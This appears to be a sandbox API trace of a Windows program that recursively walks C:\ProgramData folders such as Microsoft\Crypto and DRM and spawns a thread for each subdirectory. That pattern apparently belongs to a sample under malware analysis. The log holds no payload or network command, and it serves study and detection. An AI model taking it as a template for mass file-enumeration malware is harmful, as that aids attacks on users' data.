	[0073.833] wcscat (in: _Dest=0x4730ec0, _Source="*" | out: _Dest="C:\\ProgramData\\Application Data\\*") returned="C:\\ProgramData\\Application Data\\*"
	[0073.833] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d86350
	[0073.833] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Application Data\\*", lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0073.834] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86350) returned 1
	[0073.834] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730ec0) returned 1
	[0073.834] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73150) returned 1

Thread:
	id = 106
	os_tid = 0xde8

	[0073.834] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2e) returned 0x2d7bdc8
	[0073.834] wcscpy (in: _Dest=0x2d7bdc8, _Source="C:\\ProgramData\\Comms" | out: _Dest="C:\\ProgramData\\Comms") returned="C:\\ProgramData\\Comms"
	[0073.834] wcscat (in: _Dest=0x2d7bdc8, _Source="\\" | out: _Dest="C:\\ProgramData\\Comms\\") returned="C:\\ProgramData\\Comms\\"
	[0073.835] wcscat (in: _Dest=0x2d7bdc8, _Source="*" | out: _Dest="C:\\ProgramData\\Comms\\*") returned="C:\\ProgramData\\Comms\\*"
	[0073.835] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d86350
	[0073.835] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Comms\\*", lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71300
	[0073.835] wcscmp (_String1=".", _String2=".") returned 0
	[0073.835] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.835] wcscmp (_String1="..", _String2=".") returned 1
	[0073.836] wcscmp (_String1="..", _String2="..") returned 0
	[0073.836] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0073.836] FindClose (in: hFindFile=0x2d71300 | out: hFindFile=0x2d71300) returned 1
	[0073.836] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86350) returned 1
	[0073.836] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7bdc8) returned 1
	[0073.836] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7be70) returned 1

Thread:
	id = 107
	os_tid = 0xb3c

	[0073.837] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x32) returned 0x2d71140
	[0073.837] wcscpy (in: _Dest=0x2d71140, _Source="C:\\ProgramData\\Desktop" | out: _Dest="C:\\ProgramData\\Desktop") returned="C:\\ProgramData\\Desktop"
	[0073.837] wcscat (in: _Dest=0x2d71140, _Source="\\" | out: _Dest="C:\\ProgramData\\Desktop\\") returned="C:\\ProgramData\\Desktop\\"
	[0073.837] wcscat (in: _Dest=0x2d71140, _Source="*" | out: _Dest="C:\\ProgramData\\Desktop\\*") returned="C:\\ProgramData\\Desktop\\*"
	[0073.837] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d86350
	[0073.837] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Desktop\\*", lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0073.837] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86350) returned 1
	[0073.837] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d71140) returned 1
	[0073.837] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7bc40) returned 1

Thread:
	id = 108
	os_tid = 0xc30

	[0073.838] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d71140
	[0073.838] wcscpy (in: _Dest=0x2d71140, _Source="C:\\ProgramData\\Documents" | out: _Dest="C:\\ProgramData\\Documents") returned="C:\\ProgramData\\Documents"
	[0073.838] wcscat (in: _Dest=0x2d71140, _Source="\\" | out: _Dest="C:\\ProgramData\\Documents\\") returned="C:\\ProgramData\\Documents\\"
	[0073.838] wcscat (in: _Dest=0x2d71140, _Source="*" | out: _Dest="C:\\ProgramData\\Documents\\*") returned="C:\\ProgramData\\Documents\\*"
	[0073.838] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d86350
	[0073.838] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Documents\\*", lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0073.838] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86350) returned 1
	[0073.838] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d71140) returned 1
	[0073.838] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d71080) returned 1

Thread:
	id = 109
	os_tid = 0x6ec

	[0073.839] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d71140
	[0073.839] wcscpy (in: _Dest=0x2d71140, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0073.839] wcscat (in: _Dest=0x2d71140, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0073.839] wcscat (in: _Dest=0x2d71140, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\*") returned="C:\\ProgramData\\Microsoft\\*"
	[0073.839] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d86350
	[0073.839] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\*", lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71300
	[0073.840] wcscmp (_String1=".", _String2=".") returned 0
	[0073.840] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.840] wcscmp (_String1="..", _String2=".") returned 1
	[0073.840] wcscmp (_String1="..", _String2="..") returned 0
	[0073.840] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d3d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppV", cAlternateFileName="")) returned 1
	[0073.840] wcscmp (_String1="AppV", _String2=".") returned 1
	[0073.840] wcscmp (_String1="AppV", _String2="..") returned 1
	[0073.840] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3c) returned 0x2d72f58
	[0073.840] wcscpy (in: _Dest=0x2d72f58, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0073.840] wcscat (in: _Dest=0x2d72f58, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0073.840] wcscat (in: _Dest=0x2d72f58, _Source="AppV" | out: _Dest="C:\\ProgramData\\Microsoft\\AppV") returned="C:\\ProgramData\\Microsoft\\AppV"
	[0073.840] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d72f58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6dc
	[0073.841] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c2b2f4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfa011b19, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfa011b19, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRun", cAlternateFileName="CLICKT~1")) returned 1
	[0073.841] wcscmp (_String1="ClickToRun", _String2=".") returned 1
	[0073.841] wcscmp (_String1="ClickToRun", _String2="..") returned 1
	[0073.841] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x4730ec0
	[0073.841] wcscpy (in: _Dest=0x4730ec0, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0073.841] wcscat (in: _Dest=0x4730ec0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0073.841] wcscat (in: _Dest=0x4730ec0, _Source="ClickToRun" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun") returned="C:\\ProgramData\\Microsoft\\ClickToRun"
	[0073.841] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4730ec0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e0
	[0073.842] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1
	[0073.842] wcscmp (_String1="Crypto", _String2=".") returned 1
	[0073.842] wcscmp (_String1="Crypto", _String2="..") returned 1
	[0073.842] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73270
	[0073.842] wcscpy (in: _Dest=0x2d73270, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0073.842] wcscat (in: _Dest=0x2d73270, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0073.842] wcscat (in: _Dest=0x2d73270, _Source="Crypto" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto") returned="C:\\ProgramData\\Microsoft\\Crypto"
	[0073.842] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d73270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e4
	[0073.842] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4badec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataMart", cAlternateFileName="")) returned 1
	[0073.842] wcscmp (_String1="DataMart", _String2=".") returned 1
	[0073.842] wcscmp (_String1="DataMart", _String2="..") returned 1
	[0073.842] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x44) returned 0x4731140
	[0073.843] wcscpy (in: _Dest=0x4731140, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0073.843] wcscat (in: _Dest=0x4731140, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0073.843] wcscat (in: _Dest=0x4731140, _Source="DataMart" | out: _Dest="C:\\ProgramData\\Microsoft\\DataMart") returned="C:\\ProgramData\\Microsoft\\DataMart"
	[0073.843] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4731140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e8
	[0073.843] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bc8c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1
	[0073.843] wcscmp (_String1="Device Stage", _String2=".") returned 1
	[0073.843] wcscmp (_String1="Device Stage", _String2="..") returned 1
	[0073.843] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4c) returned 0x2d85c88
	[0073.843] wcscpy (in: _Dest=0x2d85c88, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0073.843] wcscat (in: _Dest=0x2d85c88, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0073.843] wcscat (in: _Dest=0x2d85c88, _Source="Device Stage" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage") returned="C:\\ProgramData\\Microsoft\\Device Stage"
	[0073.843] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d85c88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ec
	[0073.845] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1
	[0073.845] wcscmp (_String1="DeviceSync", _String2=".") returned 1
	[0073.845] wcscmp (_String1="DeviceSync", _String2="..") returned 1
	[0073.845] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x4730d30
	[0073.845] wcscpy (in: _Dest=0x4730d30, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0073.845] wcscat (in: _Dest=0x4730d30, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0073.845] wcscat (in: _Dest=0x4730d30, _Source="DeviceSync" | out: _Dest="C:\\ProgramData\\Microsoft\\DeviceSync") returned="C:\\ProgramData\\Microsoft\\DeviceSync"
	[0073.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4730d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f0
	[0073.846] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnosis", cAlternateFileName="DIAGNO~1")) returned 1
	[0073.846] wcscmp (_String1="Diagnosis", _String2=".") returned 1
	[0073.846] wcscmp (_String1="Diagnosis", _String2="..") returned 1
	[0073.846] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x46) returned 0x2d649e8
	[0073.846] wcscpy (in: _Dest=0x2d649e8, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0073.846] wcscat (in: _Dest=0x2d649e8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0073.846] wcscat (in: _Dest=0x2d649e8, _Source="Diagnosis" | out: _Dest="C:\\ProgramData\\Microsoft\\Diagnosis") returned="C:\\ProgramData\\Microsoft\\Diagnosis"
	[0073.846] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d649e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f4
	[0073.846] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71bd25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1
	[0073.846] wcscmp (_String1="DRM", _String2=".") returned 1
	[0073.846] wcscmp (_String1="DRM", _String2="..") returned 1
	[0073.846] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d734f8
	[0073.847] wcscpy (in: _Dest=0x2d734f8, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0073.847] wcscat (in: _Dest=0x2d734f8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0073.847] wcscat (in: _Dest=0x2d734f8, _Source="DRM" | out: _Dest="C:\\ProgramData\\Microsoft\\DRM") returned="C:\\ProgramData\\Microsoft\\DRM"
	[0073.847] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d734f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f8
	[0073.847] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x40368daa, ftLastAccessTime.dwHighDateTime=0x1d39f5f, ftLastWriteTime.dwLowDateTime=0x40368daa, ftLastWriteTime.dwHighDateTime=0x1d39f5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1
	[0073.847] wcscmp (_String1="Event Viewer", _String2=".") returned 1
	[0073.847] wcscmp (_String1="Event Viewer", _String2="..") returned 1
	[0073.847] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4c) returned 0x2d85d38
	[0073.847] wcscpy (in: _Dest=0x2d85d38, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0073.847] wcscat (in: _Dest=0x2d85d38, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0073.847] wcscat (in: _Dest=0x2d85d38, _Source="Event Viewer" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer") returned="C:\\ProgramData\\Microsoft\\Event Viewer"
	[0073.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d85d38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6fc
	[0073.848] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7af95c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IdentityCRL", cAlternateFileName="IDENTI~1")) returned 1
	[0073.848] wcscmp (_String1="IdentityCRL", _String2=".") returned 1
	[0073.848] wcscmp (_String1="IdentityCRL", _String2="..") returned 1
	[0073.848] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4a) returned 0x2d85b80
	[0073.848] wcscpy (in: _Dest=0x2d85b80, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0073.848] wcscat (in: _Dest=0x2d85b80, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0073.848] wcscat (in: _Dest=0x2d85b80, _Source="IdentityCRL" | out: _Dest="C:\\ProgramData\\Microsoft\\IdentityCRL") returned="C:\\ProgramData\\Microsoft\\IdentityCRL"
	[0073.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d85b80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x700
	[0073.849] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd80cc32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MapData", cAlternateFileName="")) returned 1
	[0073.849] wcscmp (_String1="MapData", _String2=".") returned 1
	[0073.849] wcscmp (_String1="MapData", _String2="..") returned 1
	[0073.850] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x42) returned 0x2d648f8
	[0073.850] wcscpy (in: _Dest=0x2d648f8, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0073.850] wcscat (in: _Dest=0x2d648f8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0073.850] wcscat (in: _Dest=0x2d648f8, _Source="MapData" | out: _Dest="C:\\ProgramData\\Microsoft\\MapData") returned="C:\\ProgramData\\Microsoft\\MapData"
	[0073.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d648f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x704
	[0073.850] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80d7aa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MF", cAlternateFileName="")) returned 1
	[0073.850] wcscmp (_String1="MF", _String2=".") returned 1
	[0073.850] wcscmp (_String1="MF", _String2="..") returned 1
	[0073.850] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x38) returned 0x2d71080
	[0073.850] wcscpy (in: _Dest=0x2d71080, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0073.850] wcscat (in: _Dest=0x2d71080, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0073.850] wcscat (in: _Dest=0x2d71080, _Source="MF" | out: _Dest="C:\\ProgramData\\Microsoft\\MF") returned="C:\\ProgramData\\Microsoft\\MF"
